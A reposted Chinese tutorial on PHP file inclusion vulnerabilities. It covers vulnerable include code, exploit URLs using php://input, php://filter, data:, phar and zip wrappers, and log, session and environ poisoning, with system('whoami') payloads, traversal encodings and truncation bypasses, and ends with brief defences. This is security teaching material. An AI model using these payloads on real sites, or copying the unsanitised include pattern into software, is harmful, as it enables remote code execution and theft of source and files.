php文件包含漏洞 - 乾貨

2022-01-29 關注安全技術

From:http://chybeta.github.io/2017/10/08/php文件包含漏洞/    

 
基本相關函數

php中引發文件包含漏洞的通常是以下四個函數:

include()

include_once()

require()

require_once()

reuqire() 如果在包含的過程中有錯,比如文件不存在等,則會直接退出,不執行後續語句。

include() 如果出錯的話,只會提出警告,會繼續執行後續語句。

require_once() 和 include_once() 功能與require() 和 include() 類似。但如果一個文件已經被包含過了,則 require_once() 和 include_once() 則不會再包含它,以避免函數重定義或變量重賦值等問題。

當利用這四個函數來包含文件時,不管文件是什麼類型(圖片、txt等等),都會直接作為php文件進行解析。測試代碼:

<?php

$file = $_GET['file'];

include $file;

?>

在同目錄下有個phpinfo.txt,其內容為<? phpinfo(); ?>。則只需要訪問:

index.php?file=phpinfo.txt

即可成功解析phpinfo。

場景

具有相關的文件包含函數。

文件包含函數中存在動態變量,比如 include $file;。

攻擊者能夠控制該變量,比如$file = $_GET['file'];。

分類LFI(Local File Inclusion)

本地文件包含漏洞,顧名思義,指的是能打開並包含本地文件的漏洞。大部分情況下遇到的文件包含漏洞都是LFI。簡單的測試用例如前所示。

RFI(Remote File Inclusion)

遠程文件包含漏洞。是指能夠包含遠程伺服器上的文件並執行。由於遠程伺服器的文件是我們可控的,因此漏洞一旦存在危害性會很大。
但RFI的利用條件較為苛刻,需要php.ini中進行配置

allow_url_fopen = On

allow_url_include = On

兩個配置選項均需要為On,才能遠程包含文件成功。

在php.ini中,allow_url_fopen默認一直是On,而allow_url_include從php5.2之後就默認為Off。

包含姿勢

下面例子中測試代碼均為:

<?php

$file = $_GET['file'];

include $file;

?>

allow_url_fopen 默認為 On
allow_url_include 默認為 Off

若有特殊要求,會在利用條件裡指出。

php偽協議php://input

利用條件:

allow_url_include = On。

對allow_url_fopen不做要求。

姿勢:

index.php

?file=php://input

POST:

<? phpinfo();?>

php://filter

利用條件:無甚

姿勢:

index.php?file=php://filter/read=convert.base64-encode/resource=index.php

通過指定末尾的文件,可以讀取經base64加密後的文件源碼,之後再base64解碼一下就行。雖然不能直接獲取到shell等,但能讀取敏感文件危害也是挺大的。

>>> import base64

>>> base64.b64decode("PD9waHAgDQoJJGZpbGUgPSAkX0dFVFsnZmlsZSddOw0KCWluY2x1ZGUgJGZpbGU7DQo/Pg==")

b"<?php \r\n\t$file = $_GET['file'];\r\n\tinclude $file;\r\n?>"

其他姿勢:

index.php?file=php://filter/convert.base64-encode/resource=index.php

效果跟前面一樣,少了read等關鍵字。在繞過一些waf時也許有用。

phar://

利用條件:

php版本大於等於php5.3.0

姿勢:

假設有個文件phpinfo.txt,其內容為<?php phpinfo(); ?>,打包成zip壓縮包,如下:

指定絕對路徑

index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt

或者使用相對路徑(這裡test.zip就在當前目錄下)

index.php?file=phar://test.zip/phpinfo.txt

zip://

利用條件:

php版本大於等於php5.3.0

姿勢:
構造zip包的方法同phar。

但使用zip協議,需要指定絕對路徑,同時將#編碼為%23,之後填上壓縮包內的文件。

index.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt

若是使用相對路徑,則會包含失敗。

data:URI schema

利用條件:

php版本大於等於php5.2

allow_url_fopen = On

allow_url_include = On

姿勢一:

index.php?file=data:text/plain,<?php phpinfo();?>

執行命令:

index.php?file=data:text/plain,<?php system('whoami');?>

姿勢二:

index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

加號

+

的url編碼為

%2b

PD9waHAgcGhwaW5mbygpOz8+

的base64解碼為:

<?php phpinfo();?>

執行命令:

index.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==

其中PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==的base64解碼為:<?php system('whoami');?>

包含session

利用條件:session文件路徑已知,且其中內容部分可控。

姿勢:

php的session文件的保存路徑可以在phpinfo的session.save_path看到。

在默認情況下一般是保存在/tmp目錄中。

session的文件名格式為sess_[phpsessid]。而phpsessid在發送的請求的cookie欄位中可以看到。

要包含並利用的話,需要能控制部分sesssion文件的內容。暫時沒有通用的辦法。有些時候,可以先包含進session文件,觀察裡面的內容,然後根據裡面的欄位來發現可控的變量,從而利用變量來寫入payload,並之後再次包含從而執行php代碼。

比如這篇文章:透過 LFI 引入 PHP session 檔案觸發 RCE(http://kb.hitcon.org/post/165429468072/%E9%80%8F%E9%81%8E-lfi-%E5%BC%95%E5%85%A5-php-session-%E6%AA%94%E6%A1%88%E8%A7%B8%E7%99%BC-rce)

包含日誌訪問日誌

利用條件: 需要知道伺服器日誌的存儲路徑,且日誌文件可讀。

姿勢:

很多時候,web伺服器會將請求寫入到日誌文件中,比如說apache。在用戶發起請求時,會將請求寫入access.log,當發生錯誤時將錯誤寫入error.log。默認情況下,日誌保存路徑在 /var/log/apache2/。

但如果是直接發起請求,會導致一些符號被編碼使得包含無法正確解析。可以使用burp截包後修改。

正常的php代碼已經寫入了 /var/log/apache2/access.log。然後進行包含即可。

在一些場景中,log的地址是被修改掉的。你可以通過讀取相應的配置文件後,再進行包含。

這裡提供一道包含日誌的CTF題目:SHACTF-2017- Bon Appétit (100)-writeup(https://chybeta.github.io/2017/08/06/SHACTF-2017-Web-writeup/#Methon-Two)

SSH log

利用條件:需要知道ssh-log的位置,且可讀。默認情況下為 /var/log/auth.log

姿勢:

用ssh連接:

ubuntu@VM-207-93-ubuntu:~$ ssh '<?php phpinfo(); ?>'@remotehost

之後會提示輸入密碼等等,隨便輸入。

然後在remotehost的ssh-log中即可寫入php代碼:

之後進行文件包含即可。

參考:RCE with LFI and SSH Log Poisoning(http://www.hackingarticles.in/rce-with-lfi-and-ssh-log-poisoning/)

包含environ

利用條件:

php以cgi方式運行,這樣environ才會保持UA頭。

environ文件存儲位置已知,且environ文件可讀。

姿勢:

proc/self/environ中會保存user-agent頭。如果在user-agent中插入php代碼,則php代碼會被寫入到environ中。之後再包含它,即可。

可以參考這個:

The proc/self/environ Injection(http://websecuritylog.blogspot.jp/2010/06/procselfenviron-injection.html)

shell via LFI - proc/self/environ method(https://www.exploit-db.com/papers/12886/)

包含fd

跟包含environ類似。

參考: LFI Cheat Sheet:/proc/self/environ LFI Method(https://highon.coffee/blog/lfi-cheat-sheet/#procselffd-lfi-method)

包含臨時文件

php中上傳文件,會創建臨時文件。在linux下使用/tmp目錄,而在windows下使用c:\winsdows\temp目錄。在臨時文件被刪除之前,利用競爭即可包含該臨時文件。

由於包含需要知道包含的文件名。一種方法是進行暴力猜解,linux下使用的隨機函數有缺陷,而window下只有65535中不同的文件名,所以這個方法是可行的。

另一種方法是配合phpinfo頁面的php variables,可以直接獲取到上傳文件的存儲路徑和臨時文件名,直接包含即可。這個方法可以參考LFI With PHPInfo Assistance(https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf)

類似利用臨時文件的存在,競爭時間去包含的,可以看看這道CTF題:XMAN夏令營-2017-babyweb-writeup(https://chybeta.github.io/2017/08/22/XMAN%E5%A4%8F%E4%BB%A4%E8%90%A5-2017-babyweb-writeup/)

包含上傳文件

利用條件:千變萬化,不過至少得知道上傳的文件在哪,叫啥名字。。。

姿勢:

往往要配合上傳的姿勢,不說了,太多了。

其餘

一個web服務往往會用到多個其他服務,比如ftp服務,資料庫等等。這些應用也會產生相應的文件,但這就需要具體情況具體分析咯。這裡就不展開了。

繞過姿勢

接下來聊聊繞過姿勢。平常碰到的情況肯定不會是簡簡單單的include $_GET['file'];這樣直接把變量傳入包含函數的。在很多時候包含的變量/文件不是完全可控的,比如下面這段代碼指定了前綴和後綴:

<?php

$file = $_GET['file'];

include '/var/www/html/'.$file.'/test/test.php';

?>

這樣就很「難」直接去包含前面提到的種種文件。

指定前綴

先考慮一下指定了前綴的情況吧。測試代碼:

<?php

$file = $_GET['file'];

include '/var/www/html/'.$file;

?>

目錄遍歷

這個最簡單了,簡要的提一下。

現在在/var/log/test.txt文件中有php代碼<?php phpinfo();?>,則利用../可以進行目錄遍歷,比如我們嘗試訪問:

include.php?file=../../log/test.txt

則伺服器端實際拼接出來的路徑為:/var/www/html/../../log/test.txt,也即/var/log/test.txt。從而包含成功。

編碼繞過

伺服器端常常會對於../等做一些過濾,可以用一些編碼來進行繞過。下面這些總結來自《白帽子講Web安全》。

利用url編碼

%2e%2e%5c

..%5c

%2e%2e\

%2e%2e%2f

..%2f

%2e%2e/

../

..\

二次編碼

%252e%252e%255c

%252e%252e%252f

../

..\

容器/伺服器的編碼方式

..%c1%9c

..%c0%af

%c0%ae%c0%ae/

註:Why does Directory traversal attack %C0%AF work?(https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)

註:java中會把」%c0%ae」解析為」\uC0AE」,最後轉義為ASCCII字符的」.」(點)

Apache Tomcat Directory Traversal

../

..\

指定後綴

接著考慮指定後綴的情況。測試代碼:

<?php

$file = $_GET['file'];

include $file.'/test/test.php';

?>

URL

url格式

protocol :// hostname[:port] / path / [;parameters][?query]#fragment

在遠程文件包含漏洞(RFI)中,可以利用query或fragment來繞過後綴限制。

姿勢一:query(?)

index.php?file=http://remoteaddr/remoteinfo.txt?

則包含的文件為 http://remoteaddr/remoteinfo.txt?/test/test.php
問號後面的部分/test/test.php,也就是指定的後綴被當作query從而被繞過。

姿勢二:fragment(#)

index.php?file=http://remoteaddr/remoteinfo.txt%23

則包含的文件為 http://remoteaddr/remoteinfo.txt#/test/test.php

問號後面的部分

/test/test.php

,也就是指定的後綴被當作fragment從而被繞過。注意需要把

#

進行url編碼為

%23

利用協議

前面有提到過利用zip協議和phar協議。假設現在測試代碼為:

<?php

$file = $_GET['file'];

include $file.'/test/test.php';

?>

構造壓縮包如下:

其中test.php內容為:

利用zip協議,注意要指定絕對路徑

index.php?file=zip://D:\phpStudy\WWW\fileinclude\chybeta.zip%23chybeta

則拼接後為:zip://D:\phpStudy\WWW\fileinclude\chybeta.zip#chybeta/test/test.php

能成功包含。

在利用phar協議的時候有些問題。哪位能指教一下?

長度截斷

利用條件: php版本 < php 5.2.8

目錄字符串,在linux下4096位元組時會達到最大值,在window下是256位元組。只要不斷的重複./

index.php?file=././././。。。省略。。。././shell.txt

則後綴/test/test.php,在達到最大值後會被直接丟棄掉。

0位元組截斷

利用條件: php版本 < php 5.3.4

index.php?file=phpinfo.txt%00

能利用00截斷的場景現在應該很少了:)

防禦方案

在很多場景中都需要去包含web目錄之外的文件,如果php配置了open_basedir,則會包含失敗

做好文件的權限管理

對危險字符進行過濾等等

Refference

《白帽子講Web安全》

From LFI to RCE in php(https://dustri.org/b/from-lfi-to-rce-in-php.html)

l3m0n: 文件包含漏洞小結(http://www.cnblogs.com/iamstudy/articles/include_file.html)

LFI Cheat Sheet(https://highon.coffee/blog/lfi-cheat-sheet/)

Local File Inclusion(https://github.com/lucyoa/ctf-wiki/tree/master/web/file-inclusion)

相關焦點

  • PHP 文件包含漏洞姿勢總結
    php 中引發文件包含漏洞的通常是以下四個函數:1、include() 當使用該函數包含文件時,只有代碼執行到 include() 函數時才將文件包含進來,發生錯誤時只給出一個警告,繼續向下執行。2、include_once() 功能和 include() 相同,區別在於當重複調用同一文件時,程序只調用一次。
  • 原創 | "白話"PHP文件包含漏洞
    談論一個漏洞的機理,有時候需要知道一些漏洞背後的故事,不求多,但求以最小知識體系去快速把握一個漏洞的整體,因此在說文件包含漏洞之前,我們需要聊聊什麼是文件包含?接下來聊聊什麼是文件包含漏洞(以下探究,力求用最基本的環境去闡述漏洞產生的原理)在上面的實例中,可以知道include()函數靜態包含了functions.php文件,也就是,客戶端的用戶是不能隨意修改的,但是如果include()採用動態包含的方式去包含文件,且未做好安全措施,就有可能產生文件文件包含漏洞,下面來看一個採用include()動態包含文件的例子。
  • 【php安全】--文件讀取漏洞
    等,可以利用PHP輸入輸出流php://filter/來讀取文件。Phpcmsv9在2012年被爆出任意文件讀取漏洞,當時也有很多企業因為這個漏洞被入侵,漏洞文件/phpcms/modules/search/index.php  public_的get_suggest_keyword函數,代碼如下:public        function public_get_suggest_keyword(){        $url
  • web安全篇(一):PHP文件包含漏洞姿勢總結
    0×01 文件包含Q:什麼是文件包含?A:簡單一句話,為了更好地使用代碼的重用性,引入了文件包含函數,可以通過文件包含函數將文件包含進來,直接使用包含文件的代碼。Q:文件包含漏洞的成因是什麼?A:在包含文件的時候,為了靈活包含文件,將包含文件設置為變量,通過動態變量來引入需要包含的文件時,用戶可以對變量的值可控而伺服器端未對變量值進行合理地校驗或者校驗被繞過,這樣就導致了文件包含漏洞,通常文件包含漏洞出現在PHP語言中。
  • PHP文件包含漏洞利用思路與Bypass總結手冊(二)
    Session利用介紹了用戶會話的存儲和處理機制後,我們就可以去深入的理解session文件包含漏洞。LFI本地文件包含漏洞主要是包含本地伺服器上存儲的一些文件,例如Session會話文件、日誌文件、臨時文件等。但是,只有我們能夠控制包含的文件存儲我們的惡意代碼才能拿到伺服器權限。
  • PHP文件包含漏洞利用思路與Bypass總結手冊(完結)
    那麼該怎麼去繞過這個限制呢,一般做法是逆過程,既然他選擇了編碼或加密,我們就可以嘗試著利用解碼或解密的手段還原真實session,然後再去包含,這個時候就能夠將惡意的session信息包含利用成功。很多時候伺服器上的session信息會由base64編碼之後再進行存儲,那麼假如存在本地文件包含漏洞的時候該怎麼去利用繞過呢?下面通過一個案例進行講解與利用。
  • PHP文件包含漏洞利用思路與Bypass總結手冊(三)
    >Bypass-協議限制data://如果在我們使用文件包含漏洞時data://協議被限制,但是我們又想要使用的話該怎麼繞過,比如下面這段限制代碼分析代碼可知filename變量內容開頭不能出現data字符串
  • PHP文件包含小總結
    不知是早上出門時,沒注意踩到狗屎,還是今天運氣好,發現一處竟然有文件包含漏洞,百度一波getshell姿勢,逐一嘗試後,發現可以利用日誌getshell。這裡本地模擬一下當時情況,復現一下。同時就讓我這個小菜雞總結一下getshell方式,以便之後遇到文件包含漏洞更快的去拿shell。
  • Web安全之文件包含漏洞
    包含非PHP語法規範源文件時,將會暴露其原始碼。3、漏洞分類及其區別遠程包含與本地包含遠程文件包含,需要php.ini開啟了allow_url_fopen和allow_url_include的配置。包含的文件是第三方伺服器的文件。
  • 技術乾貨 | PHP序列化漏洞原理
    記住,序列化對象包含攻擊者控制的對象值。你可能在Web應用程式原始碼中找到一個定義__wakeup或__destruct的類,這些函數會影響Web應用程式。例如,我們可能會找 到一個臨時將日誌存儲到文件中的類。當銷毀時對象可能不再需要日誌文件並將其刪除。把下面這段代碼保存為logfile.php。
  • PHP一些常見的漏洞梳理
    以下主要是近期對php一些常見漏洞的梳理,包含php文件包含、php反序列化漏洞以及php偽協議。
  • PHP任意文件上傳漏洞(CVE-2015-2348)
    任意文件上傳漏洞(CVE-2015-2348)。 在上傳文件的時候只判斷文件名是合法的文件名就斷定這個文件不是惡意文件,這確實會導致其他安全問題。並且在這種情況下,在你自己的文件中檢查漏洞很不現實,因為這個漏洞可以繞過你對文件名後綴、文件類型(Content-Type)、Mime type、文件大小等的檢查,所以僅僅依靠這些檢查是救不了你的。
  • PHP反序列化漏洞說明
    從以上慄子來看似乎沒有問題,那麼反序列化漏洞是如何形成的呢?這就要引入PHP裡面魔術方法的概念了。發現base64編碼後的文件名,解密後為shield.jpg訪問: http://web.jarvisoj.com:32768/showimg.php?
  • 【技術分享】從淺入深學習PHP文件包含
    當包含文件在伺服器本地上,就形成本地文件包含,當包含的文件在第三方伺服器是,就形成可遠程文件包含。由於沒有任何限制所以可以通過目錄遍歷漏洞來獲取到系統中的其他內容,因為考察文件包含經常是結合任意文件讀取漏洞的,所以就總結一些文件常見讀取路徑/etc/apache2
  • 文件包含利用思路
    為了使代碼更加靈活,通常會將被包含的文件設置為變量,用來進行動態調用,但正是由於這種靈活性,從而導致客戶端可以調用一個惡意文件,造成文件包含漏洞。文件包含漏洞的環境要求· 變量可控· allow_url_fopen=On(默認為On) 規定是否允許從遠程伺服器或者網站檢索數據 (遠程包含條件)· allow_url_include=On(php5.2之後默認為Off) 規定是否允許include/require遠程文件 (本地包含條件)
  • CTF中常見的PHP漏洞小結
    可利用的文件包含漏洞條件:1.include()等函數通過動態變量方式引入需要包含的文件2.用戶可控制該動態變量本地文件包含(LFI)<?php $file = $_GET['file']; include $file;?>若在同目錄下有phpinfo.txt<?
  • PHP代碼審計之----任意文件操作
    php代碼審計中和文件相關的操作主要包含如下幾種:文件包含: include/require
  • [網絡安全] 三十九.WHUCTF (2)代碼審計和文件包含漏洞繞過(ezphp、ezinclude)
    反序列化中的字符逃逸 -2020_WHUCTF_Writeup - Ly-sec-l師傅WHUCTF2020 Writeup - 52hertz師傅二.ezinclude1.題目描述考點: 文件包含漏洞inlude
  • PHP網站常見安全漏洞及防禦方法
    腳本執行漏洞腳本執行漏洞常見的原因是由於程式設計師在開發網站時對用戶提交的URL參數過濾較少引起的,用戶提交的URL可能包含惡意代碼導致跨站腳本攻擊。文件漏洞文件漏洞通常是由於網站開發者在進行網站設計時對外部提供的數據缺乏充分的過濾導致黑客利用其中的漏洞在Web進程上執行相應的命令。假如在lsm.php中包含這樣一段代碼:include($b.」/aaa.php」.)
  • 乾貨 | PHP反序列化原理及不同類別反序列化漏洞總結
    PHP語言本身漏洞還有一種PHP語言本身漏洞碰到某種特點情況導致的反序列化漏洞如:__wakeup失效引發(CVE-2016-7124)php版本<5.6.25 | <php ini_set('session.serialize_handler', 'php_serialize'); session_start();存儲的文件是以sess_sessionid來進行命名的,文件的內容就是session值的序列話之後的內容,例如session文件名稱為:sess_1ja9n59ssk975tff3r0b2sojd5如果PHP在反序列化存儲的